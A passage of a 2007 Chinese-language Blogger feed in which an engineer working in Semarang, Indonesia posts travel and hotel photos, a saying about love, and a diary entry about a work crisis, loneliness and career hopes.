id="BLOGGER_PHOTO_ID_5103108900454580546" style="DISPLAY: block; MARGIN: 0px auto 10px; CURSOR: hand; TEXT-ALIGN: center" alt="" src="http://3.bp.blogspot.com/_6JSTY21Fftg/RtHige26wUI/AAAAAAAAAIE/LuipJWUQxmU/s400/20070806265.jpg" border="0" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;div&gt;&lt;a href="http://4.bp.blogspot.com/_6JSTY21Fftg/RtHiHu26wTI/AAAAAAAAAH8/NR-X_LGgU3k/s1600-h/20070804230.jpg"&gt;&lt;img id="BLOGGER_PHOTO_ID_5103108475252818226" style="DISPLAY: block; MARGIN: 0px auto 10px; CURSOR: hand; TEXT-ALIGN: center" alt="" src="http://4.bp.blogspot.com/_6JSTY21Fftg/RtHiHu26wTI/AAAAAAAAAH8/NR-X_LGgU3k/s400/20070804230.jpg" border="0" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;div&gt;&lt;a href="http://1.bp.blogspot.com/_6JSTY21Fftg/RtHh2-26wSI/AAAAAAAAAH0/FRl8JxreAc4/s1600-h/20070804213.jpg"&gt;&lt;img id="BLOGGER_PHOTO_ID_5103108187490009378" style="DISPLAY: block; MARGIN: 0px auto 10px; CURSOR: hand; TEXT-ALIGN: center" alt="" src="http://1.bp.blogspot.com/_6JSTY21Fftg/RtHh2-26wSI/AAAAAAAAAH0/FRl8JxreAc4/s400/20070804213.jpg" border="0" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/6966345600478420514-4821813541898741854?l=fanuzan.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://fanuzan.blogspot.com/feeds/4821813541898741854/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=6966345600478420514&amp;postID=4821813541898741854' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/6966345600478420514/posts/default/4821813541898741854'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/6966345600478420514/posts/default/4821813541898741854'/><link rel='alternate' type='text/html' href='http://fanuzan.blogspot.com/2007/08/blog-post_27.html' title='风行'/><author><name>逐风浪子</name><uri>http://www.blogger.com/profile/14782316811763045315</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://1.bp.blogspot.com/_6JSTY21Fftg/RtHjc-26wXI/AAAAAAAAAIc/sUmni793SMg/s72-c/20070817569.jpg' height='72' width='72'/><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-6966345600478420514.post-2668943298383546316</id><published>2007-08-26T16:53:00.000+08:00</published><updated>2007-08-26T16:56:01.806+08:00</updated><title type='text'>战争列车上的清茶</title><content type='html'>&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://3.bp.blogspot.com/_6JSTY21Fftg/RtFAFe26wRI/AAAAAAAAAHs/A3MoXN8A_5k/s1600-h/20070809373.jpg"&gt;&lt;img style="margin: 0px auto 10px; display: block; text-align: center; cursor: pointer;" src="http://3.bp.blogspot.com/_6JSTY21Fftg/RtFAFe26wRI/AAAAAAAAAHs/A3MoXN8A_5k/s400/20070809373.jpg" alt="" id="BLOGGER_PHOTO_ID_5102930315714412818" border="0" /&gt;&lt;/a&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/6966345600478420514-2668943298383546316?l=fanuzan.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://fanuzan.blogspot.com/feeds/2668943298383546316/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=6966345600478420514&amp;postID=2668943298383546316' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/6966345600478420514/posts/default/2668943298383546316'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/6966345600478420514/posts/default/2668943298383546316'/><link rel='alternate' type='text/html' href='http://fanuzan.blogspot.com/2007/08/blog-post_26.html' title='战争列车上的清茶'/><author><name>逐风浪子</name><uri>http://www.blogger.com/profile/14782316811763045315</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://3.bp.blogspot.com/_6JSTY21Fftg/RtFAFe26wRI/AAAAAAAAAHs/A3MoXN8A_5k/s72-c/20070809373.jpg' height='72' width='72'/><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-6966345600478420514.post-5372968153554329838</id><published>2007-08-22T16:30:00.000+08:00</published><updated>2007-08-22T16:48:26.092+08:00</updated><title type='text'>从Surabaya开往Semarang的战争列车</title><content type='html'>&lt;a href="http://4.bp.blogspot.com/_6JSTY21Fftg/Rsv0sO26wKI/AAAAAAAAAGY/hxrxTyJEPt8/s1600-h/IMG_6357.jpg"&gt;&lt;img id="BLOGGER_PHOTO_ID_5101440043667079330" style="DISPLAY: block; MARGIN: 0px auto 10px; CURSOR: hand; TEXT-ALIGN: center" alt="" src="http://4.bp.blogspot.com/_6JSTY21Fftg/Rsv0sO26wKI/AAAAAAAAAGY/hxrxTyJEPt8/s400/IMG_6357.jpg" border="0" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;a href="http://1.bp.blogspot.com/_6JSTY21Fftg/Rsv11e26wLI/AAAAAAAAAGg/oBriu57orZw/s1600-h/IMG_6386.jpg"&gt;&lt;img id="BLOGGER_PHOTO_ID_5101441302092497074" style="DISPLAY: block; MARGIN: 0px auto 10px; CURSOR: hand; TEXT-ALIGN: center" alt="" src="http://1.bp.blogspot.com/_6JSTY21Fftg/Rsv11e26wLI/AAAAAAAAAGg/oBriu57orZw/s400/IMG_6386.jpg" border="0" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;a href="http://2.bp.blogspot.com/_6JSTY21Fftg/Rsv2Fu26wMI/AAAAAAAAAGo/p-rieb2emJM/s1600-h/IMG_6389.jpg"&gt;&lt;img id="BLOGGER_PHOTO_ID_5101441581265371330" style="DISPLAY: block; MARGIN: 0px auto 10px; CURSOR: hand; TEXT-ALIGN: center" alt="" src="http://2.bp.blogspot.com/_6JSTY21Fftg/Rsv2Fu26wMI/AAAAAAAAAGo/p-rieb2emJM/s400/IMG_6389.jpg" border="0" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;a href="http://2.bp.blogspot.com/_6JSTY21Fftg/Rsv2Su26wNI/AAAAAAAAAGw/v7ymvwXjjSM/s1600-h/IMG_6390.jpg"&gt;&lt;img id="BLOGGER_PHOTO_ID_5101441804603670738" style="DISPLAY: block; MARGIN: 0px auto 10px; CURSOR: hand; TEXT-ALIGN: center" alt="" src="http://2.bp.blogspot.com/_6JSTY21Fftg/Rsv2Su26wNI/AAAAAAAAAGw/v7ymvwXjjSM/s400/IMG_6390.jpg" border="0" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;a href="http://2.bp.blogspot.com/_6JSTY21Fftg/Rsv2hu26wOI/AAAAAAAAAG4/n2qLG2z5ADI/s1600-h/IMG_6391.jpg"&gt;&lt;img id="BLOGGER_PHOTO_ID_5101442062301708514" style="DISPLAY: block; MARGIN: 0px auto 10px; CURSOR: hand; TEXT-ALIGN: center" alt="" src="http://2.bp.blogspot.com/_6JSTY21Fftg/Rsv2hu26wOI/AAAAAAAAAG4/n2qLG2z5ADI/s400/IMG_6391.jpg" border="0" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;a href="http://1.bp.blogspot.com/_6JSTY21Fftg/Rsv3Ae26wPI/AAAAAAAAAHA/5fBFw3kAkBE/s1600-h/IMG_6395.jpg"&gt;&lt;img id="BLOGGER_PHOTO_ID_5101442590582685938" style="DISPLAY: block; MARGIN: 0px auto 10px; CURSOR: hand; TEXT-ALIGN: center" alt="" src="http://1.bp.blogspot.com/_6JSTY21Fftg/Rsv3Ae26wPI/AAAAAAAAAHA/5fBFw3kAkBE/s400/IMG_6395.jpg" border="0" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;a href="http://4.bp.blogspot.com/_6JSTY21Fftg/Rsv3QO26wQI/AAAAAAAAAHI/2p_QO6mYE6c/s1600-h/IMG_6402.jpg"&gt;&lt;img id="BLOGGER_PHOTO_ID_5101442861165625602" style="DISPLAY: block; MARGIN: 0px auto 10px; CURSOR: hand; TEXT-ALIGN: center" alt="" src="http://4.bp.blogspot.com/_6JSTY21Fftg/Rsv3QO26wQI/AAAAAAAAAHI/2p_QO6mYE6c/s400/IMG_6402.jpg" border="0" /&gt;&lt;/a&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/6966345600478420514-5372968153554329838?l=fanuzan.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://fanuzan.blogspot.com/feeds/5372968153554329838/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=6966345600478420514&amp;postID=5372968153554329838' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/6966345600478420514/posts/default/5372968153554329838'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/6966345600478420514/posts/default/5372968153554329838'/><link rel='alternate' type='text/html' href='http://fanuzan.blogspot.com/2007/08/surabayasemarang.html' title='从Surabaya开往Semarang的战争列车'/><author><name>逐风浪子</name><uri>http://www.blogger.com/profile/14782316811763045315</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://4.bp.blogspot.com/_6JSTY21Fftg/Rsv0sO26wKI/AAAAAAAAAGY/hxrxTyJEPt8/s72-c/IMG_6357.jpg' height='72' width='72'/><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-6966345600478420514.post-1189907470285017068</id><published>2007-08-18T18:33:00.000+08:00</published><updated>2007-08-18T18:34:24.783+08:00</updated><title type='text'>网摘及签名</title><content type='html'>爱是因为相互欣赏而开始的，因为心动而相恋，因为互相离不开而结婚，但更重要的一点是需要宽容、谅解、习惯和适应才会携手一生的。&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;i hope one day you can forgive me,i love you with all my heart.and i always will.&lt;/span&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/6966345600478420514-1189907470285017068?l=fanuzan.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://fanuzan.blogspot.com/feeds/1189907470285017068/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=6966345600478420514&amp;postID=1189907470285017068' title='1 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/6966345600478420514/posts/default/1189907470285017068'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/6966345600478420514/posts/default/1189907470285017068'/><link rel='alternate' type='text/html' href='http://fanuzan.blogspot.com/2007/08/blog-post_18.html' title='网摘及签名'/><author><name>逐风浪子</name><uri>http://www.blogger.com/profile/14782316811763045315</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>1</thr:total></entry><entry><id>tag:blogger.com,1999:blog-6966345600478420514.post-7327663895191712555</id><published>2007-08-15T19:55:00.000+08:00</published><updated>2007-08-15T20:30:33.476+08:00</updated><title type='text'>Hotel Horison图片集</title><content type='html'>&lt;div&gt;&lt;div align="center"&gt;&lt;a href="http://4.bp.blogspot.com/_6JSTY21Fftg/RsLqaf-6E-I/AAAAAAAAAEw/pkGAEdEQ2JU/s1600-h/IMG_6739.jpg"&gt;&lt;img id="BLOGGER_PHOTO_ID_5098895469119673314" style="DISPLAY: block; MARGIN: 0px auto 10px; CURSOR: hand; TEXT-ALIGN: center" alt="" src="http://4.bp.blogspot.com/_6JSTY21Fftg/RsLqaf-6E-I/AAAAAAAAAEw/pkGAEdEQ2JU/s400/IMG_6739.jpg" border="0" /&gt;&lt;/a&gt; 很独特的logo设计&lt;br /&gt;&lt;br /&gt;&lt;a href="http://3.bp.blogspot.com/_6JSTY21Fftg/RsLv8P-6FKI/AAAAAAAAAGQ/00gzaJzS5lU/s1600-h/IMG_6663.jpg"&gt;&lt;img id="BLOGGER_PHOTO_ID_5098901546498397346" style="DISPLAY: block; MARGIN: 0px auto 10px; CURSOR: hand; TEXT-ALIGN: center" alt="" src="http://3.bp.blogspot.com/_6JSTY21Fftg/RsLv8P-6FKI/AAAAAAAAAGQ/00gzaJzS5lU/s400/IMG_6663.jpg" border="0" /&gt;&lt;/a&gt; 我的床铺&lt;br /&gt;&lt;br /&gt;&lt;div&gt;&lt;a href="http://2.bp.blogspot.com/_6JSTY21Fftg/RsLrX_-6FBI/AAAAAAAAAFI/E_w5EB-UFEU/s1600-h/IMG_6671.jpg"&gt;&lt;img id="BLOGGER_PHOTO_ID_5098896525681628178" style="DISPLAY: block; MARGIN: 0px auto 10px; CURSOR: hand; TEXT-ALIGN: center" alt="" src="http://2.bp.blogspot.com/_6JSTY21Fftg/RsLrX_-6FBI/AAAAAAAAAFI/E_w5EB-UFEU/s400/IMG_6671.jpg" border="0" /&gt;&lt;/a&gt; 走廊通道&lt;br /&gt;&lt;br /&gt;&lt;div&gt;&lt;a href="http://3.bp.blogspot.com/_6JSTY21Fftg/RsLsHP-6FCI/AAAAAAAAAFQ/LijLn1buB1g/s1600-h/IMG_6672.jpg"&gt;&lt;img id="BLOGGER_PHOTO_ID_5098897337430447138" style="DISPLAY: block; MARGIN: 0px auto 10px; CURSOR: hand; TEXT-ALIGN: center" alt="" src="http://3.bp.blogspot.com/_6JSTY21Fftg/RsLsHP-6FCI/AAAAAAAAAFQ/LijLn1buB1g/s400/IMG_6672.jpg" border="0" /&gt;&lt;/a&gt; 电梯&lt;br /&gt;&lt;br /&gt;&lt;div&gt;&lt;a href="http://4.bp.blogspot.com/_6JSTY21Fftg/RsLtRf-6FDI/AAAAAAAAAFY/Fc-rRQyWvJw/s1600-h/IMG_6673.jpg"&gt;&lt;img id="BLOGGER_PHOTO_ID_5098898613035734066" style="DISPLAY: block; MARGIN: 0px auto 10px; CURSOR: hand; TEXT-ALIGN: center" alt="" src="http://4.bp.blogspot.com/_6JSTY21Fftg/RsLtRf-6FDI/AAAAAAAAAFY/Fc-rRQyWvJw/s400/IMG_6673.jpg" border="0" /&gt;&lt;/a&gt; 电梯旁边的美体广告&lt;br /&gt;&lt;br /&gt;&lt;div&gt;&lt;a href="http://4.bp.blogspot.com/_6JSTY21Fftg/RsLtof-6FEI/AAAAAAAAAFg/GysnwVSY7dE/s1600-h/IMG_6674.jpg"&gt;&lt;img id="BLOGGER_PHOTO_ID_5098899008172725314" style="DISPLAY: block; MARGIN: 0px auto 10px; CURSOR: hand; TEXT-ALIGN: center" alt="" src="http://4.bp.blogspot.com/_6JSTY21Fftg/RsLtof-6FEI/AAAAAAAAAFg/GysnwVSY7dE/s400/IMG_6674.jpg" border="0" /&gt;&lt;/a&gt; 看看女子的身体到底有多奥妙&lt;br /&gt;&lt;br /&gt;&lt;div&gt;&lt;a href="http://2.bp.blogspot.com/_6JSTY21Fftg/RsLt7_-6FFI/AAAAAAAAAFo/P0TtnjLEyF0/s1600-h/IMG_6676.jpg"&gt;&lt;img id="BLOGGER_PHOTO_ID_5098899343180174418" style="DISPLAY: block; MARGIN: 0px auto 10px; CURSOR: hand; TEXT-ALIGN: center" alt="" src="http://2.bp.blogspot.com/_6JSTY21Fftg/RsLt7_-6FFI/AAAAAAAAAFo/P0TtnjLEyF0/s400/IMG_6676.jpg" border="0" /&gt;&lt;/a&gt; 为什么没有MAN PAGES？&lt;br /&gt;&lt;br /&gt;&lt;/div&gt;&lt;br /&gt;&lt;div&gt;&lt;a href="http://3.bp.blogspot.com/_6JSTY21Fftg/RsLuGP-6FGI/AAAAAAAAAFw/CRnODcreUuM/s1600-h/IMG_6682.jpg"&gt;&lt;img id="BLOGGER_PHOTO_ID_5098899519273833570" style="DISPLAY: block; MARGIN: 0px auto 10px; CURSOR: hand; TEXT-ALIGN: center" alt="" src="http://3.bp.blogspot.com/_6JSTY21Fftg/RsLuGP-6FGI/AAAAAAAAAFw/CRnODcreUuM/s400/IMG_6682.jpg" border="0" /&gt;&lt;/a&gt; 电梯广告&lt;br /&gt;&lt;br /&gt;&lt;div&gt;&lt;a href="http://4.bp.blogspot.com/_6JSTY21Fftg/RsLvDf-6FII/AAAAAAAAAGA/I5dcT6HeGqM/s1600-h/IMG_6717.jpg"&gt;&lt;img id="BLOGGER_PHOTO_ID_5098900571540821122" style="DISPLAY: block; MARGIN: 0px auto 10px; CURSOR: hand; TEXT-ALIGN: center" alt="" src="http://4.bp.blogspot.com/_6JSTY21Fftg/RsLvDf-6FII/AAAAAAAAAGA/I5dcT6HeGqM/s400/IMG_6717.jpg" border="0" /&gt;&lt;/a&gt; 酒店门前的十字路口&lt;br /&gt;&lt;br /&gt;&lt;div&gt;&lt;a href="http://1.bp.blogspot.com/_6JSTY21Fftg/RsLvSv-6FJI/AAAAAAAAAGI/qmFDlGx6b_k/s1600-h/IMG_6724.jpg"&gt;&lt;img id="BLOGGER_PHOTO_ID_5098900833533826194" style="DISPLAY: block; MARGIN: 0px auto 10px; CURSOR: hand; TEXT-ALIGN: center" alt="" src="http://1.bp.blogspot.com/_6JSTY21Fftg/RsLvSv-6FJI/AAAAAAAAAGI/qmFDlGx6b_k/s400/IMG_6724.jpg" border="0" /&gt;&lt;/a&gt; 门前的大锣和穿着特异的使者&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/6966345600478420514-7327663895191712555?l=fanuzan.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://fanuzan.blogspot.com/feeds/7327663895191712555/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=6966345600478420514&amp;postID=7327663895191712555' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/6966345600478420514/posts/default/7327663895191712555'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/6966345600478420514/posts/default/7327663895191712555'/><link rel='alternate' type='text/html' href='http://fanuzan.blogspot.com/2007/08/hotel-horison.html' title='Hotel Horison图片集'/><author><name>逐风浪子</name><uri>http://www.blogger.com/profile/14782316811763045315</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://4.bp.blogspot.com/_6JSTY21Fftg/RsLqaf-6E-I/AAAAAAAAAEw/pkGAEdEQ2JU/s72-c/IMG_6739.jpg' height='72' width='72'/><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-6966345600478420514.post-8623636663599240865</id><published>2007-08-15T17:12:00.000+08:00</published><updated>2007-08-16T00:51:54.389+08:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='冷酷人生 bourne 谍影重重 冷暖自知 印尼 雅加达 Semarang'/><title type='text'>冷酷人生，冷暖自知</title><content type='html'>本来打算回到雅加达之后再从头开始把这段历程记录下来的，因为有部分照片在雅加达的notesbook上，有部分照片在手机里，手机的读卡装置在雅加达。工作压力大，已经忘记很多事情了，敢情回到雅加达后，很多事情已经彻底从记忆消失。现在不知何时能回到雅加达，所以从今日开始写起，以后有时间慢慢补充。&lt;br /&gt;&lt;br /&gt;昨天整个下午都在想跳槽的事，想去google，想让自己接受更大的挑战，想到一家真正的软件公司工作，想证明自己实力不俗。但是大哥一个电话敲醒了我。他说割接出事你是否知道，我说不知啊，fauzan什么都没有告诉我。然后他说起数据格式发生重大变化。&lt;br /&gt;&lt;br /&gt;我马上进入工作状态，给家里打了几个电话，算是把问题说清楚了。要发回现场数据时，突然怎么都登录不上邮箱，我以为自己的机器中毒了，但尝试换了几台机器，问题依然存在，登录不了公司邮箱，改用外网邮箱，也不行。整个Indosat机房貌似网络拥塞了。持续了半个小时之后，终于逐渐缓和。为了不影响网速，只好关掉了机器中一些可能占用带宽的程序。&lt;br /&gt;&lt;br /&gt;打顾大侠，打了N次手机没有人接。大哥，知道我很着急不，从这边打国际长途超贵，通过公司的VOIP拨入又呼叫成功率极地。想投诉来着，仔细想了下，以后和顾大侠合作的机会很多，不能把关系搞僵。于是打公司helpdesk电话，又是hubo，这个很负责任的同事，回国后一定要请他吃饭。&lt;br /&gt;&lt;br /&gt;然后给小菲回了封邮件。&lt;br /&gt;&lt;br /&gt;一切都结束时已经接近晚上10：00，整个机房只剩下我和fauzan两个人。我终于知道以前传言中我司走得最晚不虚。&lt;br /&gt;&lt;br /&gt;印尼的饭店商店关门都很早，几乎晚上不到10：00就no shop opening了。朋友说这边的人通常都很懒散，看来的确如此，我们技术人员通常晚上思路会很清晰。&lt;br /&gt;&lt;br /&gt;所以只好去麦当劳了，要了两个汉堡，一盒薯条，一杯加了ice的雪碧。带回酒店。其实到晚上六七点多就饿的要命了，大哥那个电话敲醒我之后，突然又不知不觉战斗了几个小时。人有时候真的很不可思议。&lt;br /&gt;&lt;br /&gt;晚上做了个独特的梦，梦见不知在那个旅馆遇见她，然后她与一个男人带着两个孩子。刚好那家旅馆满客了，所以我就退房了。然后梦里我就想，从我和她认识到现在，也不过8个月的时间。而从4月到现在，也才4个月时间，怎么可能有孩子。俗话说十月怀胎，而且她现在的状况也不像刚生过孩子的样子。然后就开始猜测，这是在我之前一任男友的孩子，这可能就是她离开我的原因，她发现有了他的孩子，所以……突然非常理解她离开的原因。&lt;br /&gt;&lt;br /&gt;年前，你说很想看《爱情呼叫转移》，可那部贺岁片刚好就是过年那段时间档期。回深之后，再也看不到了。从字面意思看，这部片子讲的应该是换情人的事。我主张的一直是忠贞的感情，而不是通过尝试新的情人去找最适合的。感情需要磨合，需要培养，不是仅仅尝试。星期天整天听陈奕迅这首歌，可能你真的已经呼叫转移了。 然后又想，我是不是也是你呼叫转移的一个中停站。这首歌韵律很好，但是价值取向与我的观点相悖。&lt;br /&gt;&lt;br /&gt;昨晚吃汉堡的时候，transTV正在放《Bourne》系列第二部，很喜欢，原版配音，印尼语字幕。&lt;br /&gt;&lt;br /&gt;大哥又打电话给我，问事情处理的如何，我说如何如何。他问我手头有无充值卡，10块20块的都行，我没有，他让我问fauzan。然后挂了电话，我说这是toney的电话，fauzan问what toney said。我开了个玩笑，toney said he love you。fauzan没有反映过来，WHY？然后我就说toney need voucher。随后fauzan从包包里找到了充值卡。&lt;br /&gt;&lt;br /&gt;看完《The Bourne Supremacy 》之后，Fauzan便困得睡了，他这两天总是回酒店猛抱电话粥，然后倒头便睡。我总觉得早睡会早起，但是Fauzan今天起床并不比我早多少。我在他睡后又看了一部算是恐怖片类型的片子吧。不值到片名，用手机拍了一些剧照，准备抽时间把片名搜出来。讲的是一对夫妇的车子在路上抛锚了，一个卡车路过，妻子说搭卡车到前边修理铺然后再回来，妻子搭上卡车之后再也没有回来，男主人公想方设法让车子启动，到前边找到一个小镇，都说没有见过他妻子。继续前行追上卡车，但是那司机否认搭过他妻子。然后这个男人就被这帮路霸设计给敲诈，去银行取钱等等。结局是一样的，最后他救出了他妻子，并且一起经历的千均一发的生死悬念。我拍的剧照基本都是最后一截，他们幸存之后的喜悦，拥抱。&lt;br /&gt;&lt;br /&gt;这是比较庸俗的一部恐怖片，情节上给人似曾相识的感觉。&lt;br /&gt;&lt;br /&gt;今天刚把博客的名字改成这个，之前一直不知道叫什么合适，所以就象别人一样“大卫的星空的博客”，我就起了一个“逐风浪子的精神世界”。今天突然想到我所看到的Extreme的way，所以就改成这个名字了。冷酷人生是以前和李楠看过的一部电影的名字，我这段时间的生活不可谓不冷酷；冷暖自知是以前一个朋友的系列日记标题。就这样搭配吧，希望google blog能伴我走过从GTS到加盟google这段经历。从现在开始，莹石的生活，重新开始富于激情，充满活力，向更远大的技术目标前进，向更有前景的软件公司追逐。&lt;br /&gt;&lt;br /&gt;莹石&lt;br /&gt;2007年8月15日下午&lt;br /&gt;Indosat Semarang机房&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/6966345600478420514-8623636663599240865?l=fanuzan.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://fanuzan.blogspot.com/feeds/8623636663599240865/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=6966345600478420514&amp;postID=8623636663599240865' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/6966345600478420514/posts/default/8623636663599240865'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/6966345600478420514/posts/default/8623636663599240865'/><link rel='alternate' type='text/html' href='http://fanuzan.blogspot.com/2007/08/blog-post_15.html' title='冷酷人生，冷暖自知'/><author><name>逐风浪子</name><uri>http://www.blogger.com/profile/14782316811763045315</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-6966345600478420514.post-1149023195745897113</id><published>2007-08-14T16:58:00.000+08:00</published><updated>2007-08-14T17:01:06.719+08:00</updated><title type='text'>hotel plaza的标准配置</title><content type='html'>&lt;a href="http://1.bp.blogspot.com/_6JSTY21Fftg/RsFvS_-6E6I/AAAAAAAAAEQ/-hDTmi4lRas/s1600-h/IMG_6450.jpg"&gt;&lt;img id="BLOGGER_PHOTO_ID_5098478625363727266" style="FLOAT: left; MARGIN: 0px 10px 10px 0px; CURSOR: hand" alt="" src="http://1.bp.blogspot.com/_6JSTY21Fftg/RsFvS_-6E6I/AAAAAAAAAEQ/-hDTmi4lRas/s400/IMG_6450.jpg" border="0" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;div&gt;&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/6966345600478420514-1149023195745897113?l=fanuzan.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://fanuzan.blogspot.com/feeds/1149023195745897113/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=6966345600478420514&amp;postID=1149023195745897113' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/6966345600478420514/posts/default/1149023195745897113'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/6966345600478420514/posts/default/1149023195745897113'/><link rel='alternate' type='text/html' href='http://fanuzan.blogspot.com/2007/08/hotel-plaza.html' title='hotel plaza的标准配置'/><author><name>逐风浪子</name><uri>http://www.blogger.com/profile/14782316811763045315</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://1.bp.blogspot.com/_6JSTY21Fftg/RsFvS_-6E6I/AAAAAAAAAEQ/-hDTmi4lRas/s72-c/IMG_6450.jpg' height='72' width='72'/><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-6966345600478420514.post-1309660184027365399</id><published>2007-08-14T16:54:00.001+08:00</published><updated>2007-08-14T16:57:45.681+08:00</updated><title type='text'>测试贴：Semarang的城市天空</title><content type='html'>Semarang的天气比雅加达稍微热一点，交通状况同样令人不敢恭维。同样的原点，同样的目的地，两次打车的费用却差别一倍。&lt;a href="http://3.bp.blogspot.com/_6JSTY21Fftg/RsFuOf-6E4I/AAAAAAAAAEA/pUQU79J-ejY/s1600-h/IMG_6486.jpg"&gt;&lt;img id="BLOGGER_PHOTO_ID_5098477448542688130" style="FLOAT: left; MARGIN: 0px 10px 10px 0px; CURSOR: hand" alt="" src="http://3.bp.blogspot.com/_6JSTY21Fftg/RsFuOf-6E4I/AAAAAAAAAEA/pUQU79J-ejY/s320/IMG_6486.jpg" border="0" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;div&gt;&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' 